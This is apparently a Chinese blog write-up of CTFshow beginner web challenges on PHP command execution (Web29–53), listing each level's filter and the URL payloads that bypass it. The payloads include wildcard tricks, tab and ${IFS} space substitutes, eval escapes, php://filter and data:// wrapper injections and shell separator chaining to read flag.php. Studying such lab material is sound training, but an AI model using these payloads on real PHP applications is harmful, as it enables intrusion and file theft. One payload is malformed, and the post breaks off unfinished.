CTFshow之web入门---命令执行

2024-02-28 20:19:30 浏览数 (2)

简单执行:

Web29

怎么说呢,这个只过率了flag这个字符,能够构造的挺多的。

代码语言:javascript复制
?c=system("tac fla*");
#system:执行系统命令,在通过占位符?或者*可以实现指令。
/?c=echo 'tac *';
/?c=echo 'cat *';
#eval()函数就是把输入的字符串当作php代码去执行,直接打开可以看到。
#在这里使用了,tac指令,这个跟cat指令效果相似,tac指令从最后一行倒序显示内容,并将所有内容输出
?c=echo `nl fl''ag.php`;
#nl 可以将输出的文件内容自动的加上行号,这个是ctfshow官方wp里给的解法,但是我确实没怎么用过

还有这一种方式,使用cp指令flag.php中的文件写入2.txt,直接打开就能得到flag。

代码语言:javascript复制
/?c=`cp fla?.??? 2.txt`;
/2.txt

web30

这个你上一问多过滤了 system ,由于过滤了system,我们可以使用passthru函数进行替代。

passthru() 原型: void passthru ( string command [, int & 说明: passthru与system的区别,passthru直接将结果输出到游览器,不返回任何值,且其可以输出二进制

代码语言:javascript复制
/?c=passthru("cat f*");#注上个题的那些除了第一个被过滤了,都可以用。

web31

循序渐进,这道题目比之前的又多过滤了空格与cat,使用 绕过: cat也可以用tac进行替换。cp指令因为.被ban了这里也无法执行,具体也不难。

代码语言:javascript复制
/?c=passthru("tac	f*");
/?c=echo	'tac	*';
/?c=echo	`nl	f*`;

这道题也可以进行逃逸。

代码语言:javascript复制
/?c=eval($_GET[1]);&1=system("cat flag.php");

web32

这次又过滤了echo函数,**?>**可以绕过;,比较麻烦的还是他把括号也一并过滤了,使用命令逃逸加文件包含:

代码语言:javascript复制
?c=include$_GET["a"]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

因为使用?>,所以后面没办法直接拼接php语句,需要使用文件包含。 解码就得到flag。

web33

这个题比上一道只多过滤了括号,但是这种逃逸接文件包含完全不需要括号,所以变化不大。

web34

这个真就是经典ployed了 ,这道题多过滤了:但是实际上一开始构造的就是这种,基本上没什么变化。

代码语言:javascript复制
?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

web35

跟上面那个一样…..虽然在过滤时多过滤了一个=和一个<,但是在之前的构造的,已经通过?c=eval($_GET[1]);逃逸了.

web36

连着3个了…..这个[0-9]被过滤,这边可以直接用a代替。

DATA伪协议相关:

web37

这个考察的php中的data伪协议,换考点之后过滤的返回少了….基本上用类似方法第29题构造的都可以拿来用。

代码语言:javascript复制
/?c=data://text/plain,<?php system("tac fla?.php");?>
/?c=data:text/plain,<?=system("tac fla*");?>
#当然也可以用cp指令或者mv指令将flag文件复制出来再访问。
/?c=data:text/plain,<? cp fla?.??? 1.txt`;?>    

Web38

代码语言:javascript复制
<?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|php|file/i", $c)){
        include($c);
        echo $flag;    
    }
}else{
    highlight_file(__FILE__);
}

这一道题,他多过滤了PHP,php语言因为向下兼容的原因,可以有<?php ?> , 也可以使用简短标签<? ?> ,同时还具有ASP风格<% %> ,这种不同的配置里应该需要在配置文件php.ini里面更改设置。

所以在这道题,我们可以使用短标签/?c=data:text/plain,<?=system("tac fla*");?> ,同时也可以用Base64编码进行绕过data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==

Web39

在php文件里有这一句**include($c.”.php”); **,会将我们传入的文件的拓展名改为.php ,但是在我们的构造的过程中,data://text/plain, 这样就相当于执行了php语句 .php 因为前面的php语句已经闭合了,所以后面的.php会被当成html页面直接显示在页面上,起不到什么作用。

代码语言:javascript复制
?c=data:text/plain,<?=system("tac fla*");?>

重定向相关:

Web42

代码语言:javascript复制
<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    system($c." >/dev/null 2>&1");
}else{
    highlight_file(__FILE__);
}

这道题跟前几道又有差别了,这次对进行了重定向,这个题按以往的方式无法进行。

1>/dev/null :首先表示标准输出重定向到空设备文件,也就是不输出任何信息到终端,也就是不显示任何信息。 2>&1 : 接着,标准错误输出重定向到标准输出,因为之前标准输出已经重定向到了空设备文件,所以标准错误输出也重定向到空设备文件。

1:> 代表重定向到哪里,例如:echo “123” > /home/123.txt 2:/dev/null 代表空设备文件 3:2> 表示stderr标准错误 4:& 表示等同于的意思,2>&1,表示2的输出重定向等同于1 5:1 表示stdout标准输出,系统默认值是1,所以”>/dev/null”等同于 “1>/dev/null” 因此,>/dev/null 2>&1 也可以写成“1> /dev/null 2> &1”

代码语言:javascript复制
/?c=tac flag.php;ls
/?c=more flag.php

web43

这道题目,跟上一道题目类似,多过滤了;和cat,这里是转载的一些关于分隔符的内容。

1、“;”分隔符 用分号分隔的命令会按顺序执行,即使中间命令使用方式不对,会有相关错误输出,后面的命令照样会执行。如: 输入:命令A;命令B;命令C 按顺序执行A、B、C命令,若B命令调用方式不对,终端会有相关错误提示,提示后会继续执行C命令。 2、“&&”分隔符 同C、C 语言逻辑运算符”&&”类似,遇到首个命令执行失败后,后面的命令不会执行。如: 输入:命令A && 命令B && 命令C 先执行命令A,若A命令执行正确则再执行命令B。假如命令B执行失败,则停止,C命令不会被执行到。 3、“||”分隔符 同C、C 语言逻辑运算符”||”类似,遇到首个命令执行成功后,后面的命令不会执行。如: 输入:命令A || 命令B || 命令C 先执行命令A,若A命令执行失败则再执行命令B。假如命令B执行成功,则停止,C命令不会被执行到。

在这里就可以直接用上一道题的pyload改造一下

代码语言:javascript复制
/?c=tac flag.php&&
#&&这个在使用时,应该使用urlencode为&&,否则会被当作url参数的分隔符而不是shell命令的分隔符。
?c=tac flag.php||ls
?c=more f*

#Linux的more指令,more指令的优先级貌似比重定向的>更高,使用more指令可以直接略过这个问题

Web44

这个题目过滤了flag,还是和以前一样使用在通过占位符?或者*可以实现指令。

代码语言:javascript复制
/?c=tac fla*.php||ls

Web45

这道题过滤了 空格,也就是说 被ban了,我们可以使用 也就是制表符替换得到flag。

代码语言:javascript复制
?c=tac	fla*.php||ls #使用制表符替换空格
?c=tac${IFS}la*.php||ls#也可以使用${IFS} 
#在shell中,有一个好用的环境变量$IFS,用于内部字段分隔符

Web46

这一道题目,过滤了;|cat|flag|空格|数字|$|* ,怎么说呢, 可以继续使用制表符来替换

代码语言:javascript复制
?c=tac	fla?.php||ls

Web47

;|cat|flag| |[0-9]|$|*|more|less|head|sort|tail ,这这这,这都是过滤了什么啊?

上一个题的东西,还是可以接着使用

Web48

好家伙,他这是过滤了什么问题啊,后面那些函数我还是不怎么认得,我之后再去学习下**;|cat|flag| |[0-9]|$|*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|**还是接着用Web46的pyload就行

Web49

一个构造4连杀了,我还不是很清楚这个解法肯定不是期望解,去看看官方的题解是什么样子的。

Web50

他这一次终于将制表符给过滤了,这样我们之前的构造也无法使用了,我们可以使用带行号读指令nl ,同时nl里面不支持通配符,所以,这里不能以*和?代替flag.php中的内容,这里需要使用shell指令的一个特性,被两个单引号分割时,会被直接略过,是不会被读取的,因为‘被过滤,我们可以通过'这种形式进行绕过。

代码语言:javascript复制
?c=nl<fla''g.php||

Web51

所以说上个题目,我这也不是预期解?继续使用nl<fla’’g.php||就能得到flag

Web52

代码语言:javascript复制
<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/;|cat|flag| |[0-9]|\$|*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|`|%|x09|x26/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

依旧没有过滤nl指令,这也导致我可以继续为所欲为……

Web53

这个终于步骤多了起来,这次多过滤了一对尖括号,这就没法用上面的那个构造了,不过好消息是**$**被放出来了, 不过这道题我们应该是没有写权限的(应该是有写权限的,只不过我一开始没成功,看官方的wp是能够进行更名的)。

Web54

0 人点赞